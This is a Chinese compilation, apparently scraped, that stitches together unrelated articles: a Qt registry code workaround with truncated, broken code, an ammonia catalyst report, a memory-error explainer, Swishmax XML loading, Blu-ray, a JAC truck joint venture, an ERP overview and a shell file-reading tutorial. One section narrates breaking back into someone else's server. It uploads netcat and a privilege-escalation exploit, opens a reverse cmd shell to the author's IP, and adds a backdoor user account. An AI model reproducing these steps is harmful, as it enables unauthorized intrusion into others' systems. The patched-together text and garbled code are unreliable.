nc读取总结

2024-11-08

nc读取总结(通用12篇)

nc读取总结 篇1

问题:使用QSettings时,对于注册表中类似于串口信息中的DeviceSerial0的这种key值,用value()函数无法读到其value。

分析:QT在读取注册表时,对于有路径分隔符“”“/”的value都无法读取,应该属于QT的一个小bug。解决方法:.h文件

#ifndef WIDGET_H #define WIDGET_H #include #include #include #include

#include namespace Ui { class Widget;} class Widget : public QWidget { Q_OBJECT public: explicit Widget(QWidget *parent = 0);~Widget();private: Ui::Widget *ui;QStringList m_listcomboName;HKEY hKey;LPCWSTR subkey;wchar_t keyname[256];//键名数组

char keyvalue[256];//键值数组

DWORD keysize,type,valuesize;int indexnum;public: QString getcomm(int index,QString keyorvalue);//读取键名 };#endif // WIDGET_H

.cpp 文件

#include “widget.h” #include “ui_widget.h”

Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget){ ui->setupUi(this);QString path = “HKEY_LOCAL_MACHINEHARDWAREDEVICEMAPSERIALCOMM”;QSettings *settings = new QSettings(path, QSettings::NativeFormat);QStringList key = settings->allKeys();int num =(int)key.size();QString value;for(int i=0;i

} Widget::~Widget(){ delete ui;} QString Widget::getcomm(int index,QString keyorvalue)//index为索引号,keyorvalue为选择返回值应该为key还是value { QString commresult;

if(::RegOpenKeyEx(HKEY_LOCAL_MACHINE,TEXT(“HARDWAREDEVICEMAPSERIALCOMM”),0,KEY_READ,&hKey)!=0){ QString error=“Cannot open regedit!”;//无法打开注册表时返回error return error;}//if(::RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_READ,&hKey)!=0)

QString keymessage;//键名

QString message;QString valuemessage;//键值

indexnum = index;//要读取键值的索引号

keysize=sizeof(keyname);valuesize=sizeof(keyvalue);

if(::RegEnumValue(hKey,indexnum,keyname,&keysize,0,&type,(BYTE*)keyvalue,&valuesize)==0)//列举键名和值

{ for(int i=0;i

for(int j=0;j

if(keyorvalue==“key”){ commresult=keymessage;} if(keyorvalue==“value”){ commresult=valuemessage;} } else

{ commresult=“nokey”;}

//if(::RegEnumValue(hKey,indexnum,keyname,&keysize,0,&type,(BYTE*)keyvalue,&valuesize)==0)列举键名和值

return commresult;::RegCloseKey(hKey);//关闭注册表 }

nc读取总结 篇2

1 NC-74-1型氨合成催化剂的物理性能

NC-74-1型催化剂是南化公司研制开发的新产品,具有更大、更稳定的比表面积,更为合适的孔结构,从而表现出更高的时空产率、选择性和热稳定性。尤其在活性方面有了较大幅度提高,操作温区更宽。

催化剂外观为不规则形状,堆积密度2.7~3.0 kg/L。装填情况见表1。其主要成分为Fe2O3、FeO,另外,还含有少量的K2O、CaO、Al2O3,工业使用条件:温度小于500 ℃,压力小于10.5 MPa。

2 NC-74-1催化剂装填、升温还原情况

催化剂和耐高温的铝球经严格过筛,准确测量,称重计量后装填,以保证装填质量,三床催化剂共74.5 m3,共243 t。此次装填ϕ35 mm耐火球12 t。ϕ8~ϕ10 mm耐火球10.9 t,共22.9 t。耐火球相关参数见表2。催化剂升温还原严格按南化催化剂厂制定的《NC-74-1型氨合成催化剂升温方案》进行,采用高氢还原方法,以还原出水率控制还原进度。我公司采用同时监控小时出水量和合成塔出口水汽浓度的方法来控制还原进度,累计时间达到206 h,还原期间,增压速率<0.1 MPa/h,压力<9.0 MPa,水汽浓度<3 000×10-6,升温速率初期4~8 ℃/h、后期1~3 ℃/h。见表3。

3 催化剂的运行情况

催化剂自2005年使用,至今已有5年时间。由于整套装置为国内第一套国产化大氮肥系统,缺乏相应的经验,受设计安装施工及操作等多方面因素的影响,开车初期系统生产条件波动较大,经过我公司技术和操作人员的不懈努力,氨合成系统很快稳定下来。生产操作逐步走上正轨。在催化剂运行初期,由于负荷低,合成塔轴向和径向温差较小,合成塔催化剂热点温度较为平稳,温度控制在465~475 ℃。进入中期,为配合国产化大氮肥装置的扩产改造,生产负荷不断增加,氨合成系统工艺气量不断增大。随着氨合成塔空速的增大,氨合成塔催化剂的平面温差逐渐拉大,在补充气量达到110 000 m3/h时,温差达到10 ℃以上,热点温度也不断提高,最高达到480 ℃以上。

在催化剂运行的5年时间当中,使用时间约1 560 d,正常使用时间超过1 200 d,因各种原因停车300 d以上。除去因前工序原因造成的短期停车外,由本工序造成停车的主要原因是水冷器E1204泄漏。水冷器E1204因设备原因,换热列管泄漏,由于正处于化肥生产淡季,所以换热器检修时间较长,造成氨合成系统停车时间较长,2005年1月至4月,共停车近4个月。停车期间氨合成塔催化剂采用密封保压操作。

在催化剂使用中曾多次出现催化剂中毒现象,主要原因有液氮洗CO含量超标、机组带油等。为恢复催化剂的活性,我公司经研究后采用了提高氨合成循环气中氢氮比的方法,采取短时间小负荷高氢操作,进行催化剂的在线还原。催化剂的活性在低负荷高氢操作后有所好转,活性基本恢复正常。

近期,由于生产需要,整个装置一直处于高负荷生产中,最高气量突破113 000 m3/h,较2008年110 800 m3/h的标准气量又有所增加。氨合成塔催化剂平面温差略有增加,热点温度最大控制到465~488 ℃,操作难度加大。但整体炉温平稳,从整体使用和温度分布以及塔压差、吨氨耗气等条件分析来看,催化剂运行是良好的。

4 运行分析

从我公司的生产实际表现看,NC-74-1型氨催化剂的使用情况还是不错的,特别是在高负荷和多次中毒的情况下。总结起来,我公司的经验主要有以下。

(1)催化剂装填,吹扫控制非常好。

(2)升温还原较为彻底。

(3)由于我公司大氮肥装置采用低温液氮洗吸收原料气中的CO,效果明显,原料气中CO含量控制始终小于10×10-6。

(4)严格控制工艺指标,通过控制热点温度、系统压力、空速、气体成分、氨冷温度等优化了生产条件,使氨的合成率稳定在13%~16%之间。

(5)严格开停车操作,开停车严格按开停车方案执行。停车时,全系统用氮气进行彻底置换,使进塔气O2≤0.2%,并通过低压氮气保压。

不足与失误

(1)原料气洁净度控制不严,原料气污染时未及时减量,致使催化剂多次出现中毒症状。

(2)整个合成氨系统缺乏统筹安排,受前工序影响,氨合成系统加减量较频繁,非正常停车櫃櫃櫃櫃櫃櫃也较多。

整改措施

(1)严格原料气洁净度的管理,杜绝毒物入塔,防止催化剂中毒。

(2)抓好整个合成氨装置的统筹协调,尽量减少氨合成系统的加减量频次和开停车次数。

5结语

NC-74-1型氨催化剂在高温活性、选择性、稳定性等方面均有一定优势,但催化剂的使用效果更取决于生产实践经验,生产管理水平,工艺气体净化效果,催化剂的性能及内在质量,设备状况等。尤其是催化剂升温还原阶段,轻负荷期,生产初期等关键时期,关键指标的控制和优化更为重要。

摘要:介绍氨合成催化剂的装填以及升温还原等,对催化剂运行情况进行了分析总结。

内存不能读取的原因 篇3

出现这个现象有方面的,一是硬件,即内存方面有问题,二是软件,这就有多方面的问题了,

一、先说说硬件:

一般来说,电脑硬件是很不容易坏的。内存出现问题的可能性并不大(除非你的内存真的是杂牌的一塌徒地),主要方面是:1、内存条坏了(二手内存情况居多);2、使用了有质量问题的内存;3、内存插在主板上的金手指部分灰尘太多;4、使用不同品牌不同容量的内存,从而出现不兼容的情况;5、超频带来的散热问题。你可以使用MemTest这个软件来检测一下内存,它可以彻底的检测出内存的稳定度。

二、如果都没有,那就从软件方面排除故障了。

先说原理:内存有个存放数据的地方叫缓冲区,当程序把数据放在缓冲区,需要操作系统提供的“功能函数”来申请,如果内存分配成功,函数就会将所新开辟的内存区地址返回给应用程序,应用程序就可以通过这个地址使用这块内存。这就是“动态内存分配”,内存地址也就是编程中的“光标”。内存不是永远都招之即来、用之不尽的,有时候内存分配也会失败。当分配失败时系统函数会返回一个0值,这时返回值“0”已不表示新启用的光标,而是系统向应用程序发出的一个通知,告知出现了错误。作为应用程序,在每一次申请内存后都应该检查返回值是否为0,如果是,则意味着出现了故障,应该采取一些措施挽救,这就增强了程序的“健壮性”。若应用程序没有检查这个错误,它就会按照“思维惯性”认为这个值是给它分配的可用光标,继续在之后的执行中使用这块内存。真正的0地址内存区储存的是计算机系统中最重要的“中断描述符表”,绝对不允许应用程序使用。在没有保护机制的操作系统下(如DOS),写数据到这个地址会导致立即当机,而在健壮的操作系统中,如Windows等,这个操作会马上被系统的保护机制捕获,其结果就是由操作系统强行关闭出错的应用程序,以防止其错误扩大。这时候,就会出现上述的内存不能为“read”错误,并指出被引用的内存地址为“0x00000000“。内存分配失败故障的原因很多,内存不够、系统函数的版本不匹配等都可能有影响。因此,这种分配失败多见于操作系统使用很长时间后,安装了多种应用程序(包括无意中“安装”的病毒程序),更改了大量的系统参数和系统档案之后,

在使用动态分配的应用程序中,有时会有这样的情况出现:程序试图读写一块“应该可用”的内存,但不知为什么,这个预料中可用的光标已经失效了。有可能是“忘记了”向操作系统要求分配,也可能是程序自己在某个时候已经注销了这块内存而“没有留意”等等。注销了的内存被系统回收,其访问权已经不属于该应用程序,因此读写操作也同样会触发系统的保护机制,企图“违法”的程序唯一的下场就是 作终止执行,回收全部资源。计算机世界的法律还是要比人类有效和严厉得多啊!像这样的情况都属于程序自身的BUG,你往往可在特定的操作顺序下重现错误。无效光标不一定总是0,因此错误提示中的内存地址也不一定为“0x00000000”,而是其它随机数字。

首先建议:

1、检查系统中是否有木马或病毒。这类程序为了控制系统往往不负责任地修改系统,从而导致操作系统异常。平常应加强信息安全意识,对来源不明的可执行程序绝不好奇。

2、更新操作系统,让操作系统的安装程序重新拷贝正确版本的系统档案、修正系统参数。有时候操作系统本身也会有BUG,要注意安装官方发行的升级程序。

3、尽量使用最新正式版本的应用程序、Beta版、试用版都会有BUG。

nc读取总结 篇4

1制作XML的文件

XML与数据库不同,它仅仅是存储数据。事实上,XML与其他数据表现形式最大的不同是:它极其简单。XML的简单使其易于在任何应用程序中读写数据,这使其很快成为数据交换的唯一公共语言。也意味着使用XML可以更容易的跨平台与其他平台下的信息进行结合,然后可以通过加载XML数据到程序中并分析它,并以XML格式输出结果。

在书写XML文件之前,简单介绍一下它的书写规范。首先,第一行必须是声明该文件是XML文件以及它所使用的XML规范版本。在文件的前面不能够有其它元素或者注释。其次,在XML文件中有且只能够有一个根元素,且必须正确地关闭。其他元素都是这个根元素的子孙元素或节点。例如...其中就是此XML文件的根元素;而...就是其下的子节点。再次,一个元素可以嵌套若干子元素;格式良好的XML文档不须有且仅有一个根元素。由于本例应用到的XML文件较为简单,且本文的重点在于讲述Swishmax如何动态获取XML数据。因此结合上面的书写规范制作出一个名为(联系方式XML)的文件,相关内容如下:

——由于内容涉及中文格式,编码采用gb2312

————————————此处节点从0开始计数,代表第0个节点,并非第1个

<公司名称>北京销售分公司

<负责区域>负责区域:北京市内蒙古

<联系人>联系人:王经理

<手机>手机:13911599683

<地址>联系地址:北京市丰台南路新村一里15号

<联系电话>联系电话:010-63727015

<传真>传真电话:010-63790417 010-63790283

<邮政编码>邮政编码:100070

————————————此处节点是第1个节点,之后顺序计数

<公司名称>沈阳销售分公司

<负责区域>负责区域:黑龙江吉林辽宁

<联系人>联系人:史经理

<手机>手机:13940315168

<地址>联系地址:沈阳市铁西区保工街南七中路66号2门

<联系电话>联系电话:024-25826050

<传真>传真电话:024-25823722

<邮政编码>邮政编码:110023

2通过Swishmax获取XML节点的数据

Swishmax是一个制作动画的软件,其内置超过230种可选择的预设效果,可以让开发者快速开发出在众多网站中令人感到酷炫的动画效果。同时,其最新版本已经可以完全支持AS的语法,大量代码的改进,令其功能强劲无比。相比于中小型网站常用的SWFBanner,swftext,Aleo Flash Intro Banner Maker等等软件只能制作较为简单的动画外,不支持AS语法更是上述软件的软肋。而相比于功能较为复杂的Flash软件,Swishmax在简单易用省时省力方面更胜一筹。由此看来,利用Swishmax进行动画开发是一个快速且经济的方案。

当XML被Swishmax加载成功后,会对文中的数组对象进行赋值。它的值的类型是数组型,XML的每一个节点都可以通过这个属性来表示其对应的数据。需要特别指出的是,在Swishmax中,数组的长度计算是从0开始,所以XML文档中的第一个节点就存储在数组的"0"的位置,而不是"1"的位置。(上文相关代码已做了标注)对于获取的数据如何动态地表现出来,是要探讨的重点,也是难点。打开Swishmax后,新建一图形元件和一文本控件,其中文本控件的属性里设置为动态,自动大小高度,使用设备字体。在图形元件下输入以下内容:

_parent._parent.event On Load(this);

以下图1展示了上述代码调试成功后,当鼠标指向地图相应区域后,右下角的窗口会动态显示出XML文件对应的联系方式。后期如需更改联系方式里的内容,只需对XML文件进行相应的修改操作,而不必修改动画文件本身。

摘要:为了更新动画文件内的记录信息,通过使用Swishmax开发工具动态获取XML数据的方式,改变了之前更新文件内的信息还需要同时更新动画文件本身的繁琐方法,为网站维护提供了方便,并成功运用到公司网站上。

NC反弹CMD提权 篇5

上次拿的服务器很久没看了,

这几天忙与学习。

今天上去看下

帐号被删除。。我擦。

这个管理员真是让人 .

于是用用上次方法udf提权。

帐号还是没添加上。。

如图:

经过很多测试不成功。管理员但还是疏忽了ws组建。

呵呵。成功的希望正在前方。。

虽然对mysql语句不精通。

放弃了mysql提权方法。

后来在某个论坛看见cmd反弹shell

呵呵,

有戏了。

灵感来了。找了web目录上传nc和巴西烤肉

web目录都是有写有读的权限。

本机连接

nc -vv -lp 52

服务器连接比如:

D:web c.exe -e cmd上传路径IP(外网IP)52(这里是本机端口)

如图:

反弹上去net user 成功了.

利用巴西烤肉来提权

命令:

1.exe user falling falling /add

就出现了密码不满足密码策略的要求。检查最小密码长度、密码复杂性和密码历

史的要求。

如图:

那就换个密码吧.

net user falling Falling1234 /add

果断的成功

刻录机・什么是最大BD读取速度 篇6

BD(Blu-ray Disc)是蓝光光盘的缩写,最大BD读取速度是指刻录机读取蓝光光盘的最大速度。蓝光(Blu-ray)或称蓝光盘(Blu-ray Disc,缩写为BD)利用波长较短(405nm)的蓝色激光读取和写入数据,并因此而得名。而传统DVD需要光头发出红色激光(波长为650nm)来读取或写入数据,通常来说波长越短的.激光,能够在单位面积上记录或读取更多的信息。因此,蓝光极大地提高了光盘的存储容量,对于光存储产品来说,蓝光提供了一个跳跃式发展的机会。

蓝光光盘通常分DB-R、DB-RE和DB-ROM三种。其中DB-RE为复写光盘,也就是可以刻录和擦除,当然也可以读取。它的成本比较高,刻录速度也比较慢,类似于DVD刻录盘里的DVD-RW。而DB-R类似于DVD-R,可以刻录但不能擦除。DB-ROM类似于普通DVD盘,只能读取,不能刻录,但是它的成本最低,读取速度最快。常见的蓝光最大读取速度有2X、4X或者更高,蓝光的单倍读取速度为4500KB每秒,相应的2X速度就是9000KB每秒左右。

江淮与NC2合资释疑 篇7

新闻背景:

江淮的新闻最近可谓是鱼贯而出。

8月,江淮与天津正道签署了关于新能源汽车合作合资的《框架协议》;与巴西SHC公司签署了《独家经销协议》。9月,历时一年谈判的江淮汽车与两个中美合资合作的项目尘埃落定。16日,江淮与美国纳威司达公司签署了《发动机合资项目》协议,并与美国纳威司达和美国卡特彼勒公司的合资公司NC2签署《中重卡合资项目》协议。

江淮中重卡将走什么路线

——江淮长头重卡很可能走中档和中高档路线。

目前,国内长头重卡需求不大,仅集中在一些区域细分市场上。细数国内长头卡车品牌,解放长头和东风龙卡主打经济型车型,配置较高的精功“远航”则走高档路线,而江淮格尔发则很可能在经济型和高档之间寻求突破,根据配置情况采取中档和中高档策略,开辟新的蓝海空间。

从1~8月份江淮汽车披露的数据显示,格尔发中重卡前八月共销售1.73万辆,同比增长122%。尽管其增速已经跃升行业前三甲,但跟一汽、东风、重汽等动辄十几万辆的销售数量相比,江淮格尔发仍显得路途遥远。无疑,借助纳威司达和NC2的先进技术支持,格尔发中重卡产品的技术水平将更上一个新台阶,江淮在卡车开发制造领域将具备更强的研发能力与竞争力。

合资采用什么样的模式

——中外三方本次合资,采取了3年前上汽-菲亚特-红岩的合作方式,即三个当事方、两个合资公司,整车与发动机各有各的合资主体。

江淮商用车公司总经理赵厚柱告诉记者,江淮、纳威司达、NC2三方将建立两个合资公司。合资后,美国纳威司达集团将运用旗下成熟的“万国牌”发动机研发和制造业务,为合资公司铸造先进的卡车心脏;而N C2公司由于承接了母公司——纳威司达、卡特彼勒的中重型卡车业务,将为这个中外合资公司注入领先的整车技术元素。

公开信息显示,一方面,根据江淮汽车与美国纳威司达达成的《发动机合资项目协议》,双方将共同成立发动机制造企业,投资总额人民币18亿元,注册资本人民币6亿元,双方持股比为50:50,年产能的初步规划是18万台轻型柴油发动机、7万台中重型柴油发动机。

江淮需要支付多少现金

——在本次的与美国纳威司达公司、美国卡特彼勒公司的合资中,江淮在出资方式上选择了将几乎全部中型卡车和重型卡车的资产和业务作为出资投入合资公司,而NC2将以现金的方式出资。

随着江淮汽车资产规模的日渐壮大,有关江淮资金是否充足的传言也甚嚣尘上。一个最有力的证据是,2009年江淮实现利润总额为2.99亿元,但刚刚处于上升期的轿车事业则亏损了6-7亿元。在2010年江淮的中报中,江淮可实现利润总额为5.81亿元,其中轿车亏损又占3亿元左右。

尽管今年1—8月,江淮在销量表上为大家端出的是一串可圈可点的盛夏果实——江淮江汽股份实现销售30.4万辆,同比增长52.6%。其中,江淮轿车增长上半年销售12.9万台,同比增长70%,增速在自主品牌阵营名列第二。江淮格尔发同比增长122%;瑞风持续多年保持市场销售第一及轻卡连续多年居获出口第一。

但江淮正道协议中显示投资总额不低于人民币20亿元;项目总投资约300亿元人民币。而在刚刚签署的《中重卡合资项目》协议中,江淮汽车还将与NC2这家纳威司达与卡特彼勒2009年合资成立的公司,共同组建中重卡合资企业,总投资人民币30亿元,注册资本人民币12亿元,持股比为50%:50%,将形成年产单班8万辆中型、重型卡车的生产能力。

对此,江淮汽车董事长左延安似乎并不以为然,他告诉记者,眼前的江淮并不存在资金方面的困扰,在本次的与美国纳威司达公司、美国卡特彼勒公司的合资中,江淮在出资方式上选择了将几乎全部中型卡车和重型卡车的资产和业务作为出资投入合资公司,而NC2将以现金的方式出资。

合资公司设在什么地方

——合肥市江淮总部所在地,合资工厂选在合肥理所当然。

主要负责生产、制造和销售中重卡和发动机等业务。支持众多中重型汽车(包括JAC Sword和Gallop品牌以及International品牌Tran Star)对于先进技术的要求。发动机合作将生产包括现有的江淮汽车和多种Navistar Maxx Force品牌发动机,产品符合欧IV和欧V标准的技术要求。此外,这也是Maxx Force发动机首次登陆中国。

JAC品牌是否可以保留

——由于“江淮格尔发”中重卡品牌目前已在国内形成一定口碑和知名度,且系自主品牌,因此,合资公司不会采取摒弃自主品牌、采用洋品牌的市场换技术路线。这延续了中国重卡企业与外资企业合资的优势。

与乘用车合资企业外方占主导地位有所不同,在重卡合资企业中,目前中方的利益得到了空前的保证。不但原有的自主品牌得以保留,外方甚至还愿意将自己的先进的发动机搭载中方原有品牌的车上。

有分析表明,这种情况与重卡领域自主品牌占绝对优势是分不开的。

当前,东风、一汽解放、中国重汽、北汽福田、陕西重汽等重卡品牌,在研发能力、制造工艺上与欧美列强的差距逐步缩小,而价格却只有国外重卡的三分之一,并占据国内整个重卡市场95%的份额,而合资和进口重卡由于价格的原因只能分到一点点市场。

在欧洲商用车市场遭受重创的情况下,国外重卡巨头当然寄希望于庞大的中国市场,因此也能“容忍”中方的要求。对于中国企业而言,在技术上也碰到了瓶颈,两者各取所需,通过合资实现本土化生产,从而降低成本。

本次签约,中外三方高层也一致表示,由于“江淮格尔发”中重卡品牌目前已在国内形成一定口碑和知名度,且系自主品牌,因此,合资公司不会采取摒弃自主品牌、采用洋品牌的市场换技术路线,这延续了中国重卡企业与外资企业合资的优势。

但即便如此,却也不影响未来长头重卡和纳威司达旗下“万国”品牌引入中国的问题。赵厚柱认为,在国内,合资公司肯定要以“JAC”组为主导品牌,但海外市场将主打哪个品牌,还需要未来合资公司成立之后双方具体确定。有消息表明,如果项目进展顺利,新的合资公司将有望在今年底明年初挂牌成立。

江淮获得哪些优势资源

——有分析认为,卡特彼勒今后的主要角色是帮助江淮持续提升重卡的技术与研发竞争力,并和纳威司达规划中国业务布局。一方面是NC2运用管理、技术和工艺优势;一方面江淮利用纳威司达发动机动力总成的技术提升自己。合资协议达成后,江淮将从纳威司达引进轻型、中重型全系列柴油发动机品种,尤其是其9L和10L Navistar Maxx Force大功率柴油机的引进,将使江淮格尔发重卡在3~5年内处于动力总成和传动匹配上的领先。有消息称,目前江淮正在与纳威司达探讨本土化的技术路线问题,很快就会进入实际操作阶段。

从历史上看,江淮格尔发源自韩国现代,并兼有90年代奔驰重卡的部分技术,并能生产前桥和驱动桥。但在竞争对手自产发动机压力下,善长制造底盘的江淮在发动机上受制于人。从诞生的2005年起,江淮格尔发就一直采购潍柴、玉柴、上柴的发动机。短期看,由于江淮格尔发销量不大,还可以继续依靠对外采购发动机总成。但从中长期来看,要满足8万辆的年产能目标,江淮则必须要拥有自己的动力总成。N C2擅长的排量3.0L—12L的全系大功率卡车用柴油发动机产品,将作为整车合资项目的配套产品引入中国市场。借助合资伙伴的先进的整车和发动机技术,江淮将突破企业在推进重卡和中卡业务上面临的瓶颈。纳威司达却拥有江淮所需的,包括7L、9L、10L、11L、13L的优势发动机资源,目前,我国重卡市场更需要9~11升的发动机产品。

江淮中重卡的市场将朝哪转向

——以江淮即将下线并成为65年、历经四代生产的百万辆轻卡为新的历史转折点——重卡将成为江淮未来新的市场的切入点和盈利点。

在“十二五”的规划中,江淮计划将形成年产销1 5 0万辆汽车的研发制造能力,其中三分之一面向国际市场。公司将努力做好产品的优化、提升,强化商用车核心业务能力,保障乘用车战略业务资源投入,在新能源汽车、核心动力总成和国际市场上有所突破。本次合资项目和未来可能进行的合作正是基于上述的战略思考。

江淮汽车有关人士表示,公司“商乘并举”的综合型汽车厂商的“双翼”已经展开并发力。今年在基本完成“十一五”战略布局成为综合型汽车厂商后,江淮汽车将努力谋求“十二五”战略突破。

此外,新的合资项目意在拓展除北美以外的新兴工业国家市场,其中包括巴西、印度等。

新的背景事实是,8月,江淮与巴西第一大汽车经销商S H C公司正式签署了未来十年的出口62万辆协议。

用友ERP—NC管理软件 篇8

客户化

客户化是使用NC系统的基础平台,它包含了以下部分:

系统管理:账套管理、建公司帐、权限管理、日志、风格、维护工具、辅助工具、单据号管理 基础数据:参数设置、基础数据、基本档案、工程基础数据

平台设置:模板管理、流程配置平台、会计平台、管理会计平台、预警平台 其他工具:数据交换平台、自定义查询工具、二次开发工具。

◎ 系统管理设置

系统管理主要是为企业提供账套管理、建公司帐、权限管理、日志、风格、维护工具、辅助工具、单据号管理等的功能,用于系统管理员对系统进行维护。其中建账、设立公司、用户管理及权限分配使系统的安全性得到保障,系统维护工具、日志信息等使用户能够对系统的使用情况有详细的了解;模板管理使用户能够快速选择或配置适合企业自身需要的模板,在模板设置中提供业务模板管理。

◎ 基础数据设置

NC管理软件为了企业在软件应用过程中能够有效达成管理控制的效果,专门开发了参数设置平台。参数设置平台中输入和设置系统所有的参数,实现参数的逐级分配,使上级可以控制一些重要参数,不允许下级公司修改,只能够使用。

基础数据、基本档案、工程基础数据模块可以定义企业的组织结构、人员信息、会计信息、物料信息、客商信息以及一些业务管理的信息。◎平台设置

客户化设置平台包括流程配置平台、审批流、财务会计平台、管理会计平台和预警平台。客户化设置平台主要是为您提供的快速客户化配置、实施工具,有助于项目实施工作的顺利进行。用流程配置平台可针对不同的企业配置不同的流程,后续的业务操作根据所配置的流程进行流向。NC流程配置的设计思想是基于以下认识,业务流程是由单据组成的,而单据是由动作组成的,动作又是由组件组成的;单据、动作以及组件可以由各系统开发实现,NC流程配置提供一种平台机制,在此可以根据用户的实际业务重新组织这些单据、动作及组件,包括每种单据的来源单据是什么、又驱动生成哪些单据、完成什么动作、动作生效的约束条件以及动作生效后将配置哪些组件等,以此更好满足企业个性化需求。

NC系统的审批流设置为您减轻了工作量,实现管理软件与办公自动化的无缝集成,使审批成为有序可控的流程化管理,实现逐级审批。

模板管理使用户能够快速选择或配置适合企业自身需要的单据界面显示模板、帐表显示模板、打印模板、查询模板,可以为每个操作员定义模板、分配模板。

财务会计平台的设计思想是根据事先定义好的会计描述,包括入账科目定义、定义影响因素、定义科目分类对照表、凭证模板定义,对各系统的原始单据与业务处理自动生成实时凭证,并可以按照用户的设置将实时凭证生成会计凭证,传到总账系统。

管理会计平台实现的功能是根据用户定义的单据模版生成项目单据,具体的说就是把原始数据按照一定的规则转变为成本要素的信息来反映。即根据事先定义好的项目描述,包括项目要素定义、项目单据模板定义,对各系统的原始单据与业务处理自动生成项目单据,传到项目成本管理系统。通过程序员对代理的配置和预警类型的定义,以及用户和实施人员对预警条目的设置,这样当系统运行的时候,一旦符合了预警条件,设置的预警信息就会自动弹出来,提示用户。平台中提供预警方式的选择,可以选择在登录时提示预警信息;可以选择进入不同的功能点时弹出相应的预警信息;可以选择以电子邮件的方式提示信息;还可以选择在预警平台中提示信息。

◎ 其他工具

其他工具:数据交换平台、自定义查询工具、二次开发工具。主要是提供用户一些实施和二次开发工具及和其他产品的接口。

财务会计

财务会计中包含总账、现金管理、应收、应付、网上报销、固定资产和存货核算这几个模块,主要完成企业日常的财务核算,并对外提供会计信息。

◎ 总账系统

总账系统主要提供凭证管理、现金银行、财务折算、往来核销、集团对账、月末结转、现金流量、账簿查询等功能。

◎ 现金管理

现金管理主要提供企业的现金、银行存款、票据资金的管理,包括票据实物管理、银行对账等功 能。

◎ 应收系统

应收款系统主要提供应收单的录入、客户信用的控制、客户收款的处理、现金折扣的处理、单据核销处理、坏账的处理、客户利息处理等业务处理功能,并提供应收账龄分析、欠款分析、回款分析等统计分析,提供资金流入预测。

◎ 应付系统

应付款系统主要提供应付单的录入,提供资金流出预算。

◎ 网上报销

网上报销系统提供了个人网上报销的管理,包括报销单的录入、审核、查询等功能。

◎ 固定资产系统

固定资产系统主要提供卡片录入、卡片查询、资产变动、资产评估、资产减值、资产拆分合并、资产调出调入、折旧与摊销等功能。

◎ 存货核算系统

存货核算系统主要认定从其他系统传来的各种出入库单据的成本,完成对采购的暂估业务的处理、存货成本的调整、材料成本差异的计算分摊及财务描述等功能,并提供多种成本计价方式,提供实时的出库动态成本及对成本的模拟计算。

资金管理

“资金管理”包含“内部账户管理”、“资金结算”、“资金调度”、“网上银行”、“存款管理”、“资金计划”、“信贷管理”、“资金预测”、“资金监控”和“综合授信”功能组件,是一套完整的资金管理解决方案,是整个NC管理系统的重要组成部分之一。

供应链

供应链中包含供应商管理、采购管理、销售管理、库存管理、委外加工、合同管理、运输管理、内部交易这几个模块,为企业提供全面的购销存管理。

◎ 供应商管理

供应商管理系统提供对供应商在一段时期内的质量、价格、交期、服务、可持续性的改进等各方面进行综合的,全面的评估,为企业选择分供应商提供量化的科学的依据。

◎ 采购管理

采购管理系统是以订单为核心,对采购过程中物流运动的各个环节及状态进行跟踪管理,区分出采购存货的计划状态,订单在途状态,到货待检状态,现存量状态,可用量状态,不可动用量状态等。同时支持采购计划的管理。

◎ 销售管理

销售系统是以销售订单为核心,对销售过程在中物流运动的各个环节及状态进行跟踪和管理,区分出订单分配量、现存量、可用量、不可动用量、销售在途量等。销售管理支持用户自定义业务类型,支持对业务类型进行业务流程配置,可以灵活地支持包括委托代销、直运销售在内的各种销售业务。结合流程配置,可以定义各种与销售有关的事务的触发点,灵活的确认收入成本的确认点。同时支持价格,价保,返利,信用管理。

◎ 库存管理

库存管理系统是基于对实物的收发管理。库存系统根据销售及采购,生产制造系统的出入库通知或备料计划,进行实物的出入库,并根据需要进行库位分配,批号管理。库存系统可以完成内部的移库、盘点、调拨、借入借出、报废、形态转换等业务,并将结果传递给存货核算系统,完成财务处理。

◎ 运输管理

运输管理是物流供应链运作过程中的一个环节,面向企业的储运部门应用,按订单交货计划,及时、准确、安全地将货物交付到目的地。根据 发货单、销售出库单、调拨出库单、采购订单、运输申请单生成运输单,通过运输单和运费公式可以计算应收运费、应付运费。

◎ 内部交易

内部交易管理是与销售、采购、库存、财务紧密集成为一体的供销链中的一个环节,以企业内部交易管理为中心,围绕调拨订单,对价格、发货、内部交易结算等进行有效管理,并结合供应链其他产品和应收应付等产品,实时反映企业管理业务,实时提供内部交易报表,全面反映出企业内部公司之间的交易情况。

◎ 委外加工

委外加工系统通过处理生产制造系统形成的委外加工计划及手工输入的委外加工订单,以订单为主线,完成委外加工的发料,委外加工成品的验收入库及委外加工费的结算处理等业务。

◎ 合同管理

nc读取总结 篇9

这篇文章主要介绍了Shell脚本逐行读取文本文件,本文着重探讨不改变文本格式的方法读取出文件内容,需要的朋友可以参考下

网上有很多 shell script. 读文本文件的例子,但是都没有讲出故事的全部,只说了一半,举个例子,比如从一个 testfile 文件中读取如下格式的文本行:

代码如下:

$ vi testfile

ls-a -l /bin |sort

ls-a -l /bin |sort | wc

ls-a -l |grep sh | wc

ls-a -l

ls-a -l |sort|wc

最常见的一个 line by line 读取文件内容的例子就是:

代码如下:

$ vi readfile

#!/bin/sh

testfile=$1

while read -r line

do

echo $line

done < $testfile

$ chmod +x readfile

$ ./readfile testfile

ls -a -l /bin | sort

ls -a -l /bin | sort | wc

ls -a -l | grep sh | wc

ls -a -l

ls -a -l | sort | wc

这个例子的问题是读取文本行后,文本格式发生了变化,和原来 testfile 文件的内容不完全一致,空格字符自动被删除了一些。为什么会这样呢?因为 IFS,如果在 shell script. 里没有明确指定 IFS 的话,IFS 会默认用来分割空格、制表、换行等,所以上面文本行里多余的空格和换行都被自动缩进了。

如果想要输出 testfile 文件原有的格式,把每行(作为整体)原封不动的打印出来怎么办?这时需要指定 IFS 变量,告诉 shell 以 “行” 为单位读取,

代码如下:

$ vi readfile

#!/bin/sh

IFS=“”

testfile=$1

while read -r line

do

echo $line

done < $testfile

$ ./readfile testfile

ls-a -l /bin |sort

ls-a -l /bin |sort | wc

ls-a -l |grep sh | wc

ls-a -l

ls-a -l |sort|wc

上面两种方法的输出不是差不多吗,有什么关系呢,第一种还美观一些?关系重大,VPSee 昨天写了一个模拟 shell 的 C 程序,然后又写了一个 shell script. 来测试这个 C 程序,这个 script. 需要从上面的 testfile 里读取完整一行传给 C 程序,如果按照上面的两种方法会得到两种不同的输入格式,意义完全不同:

代码如下:

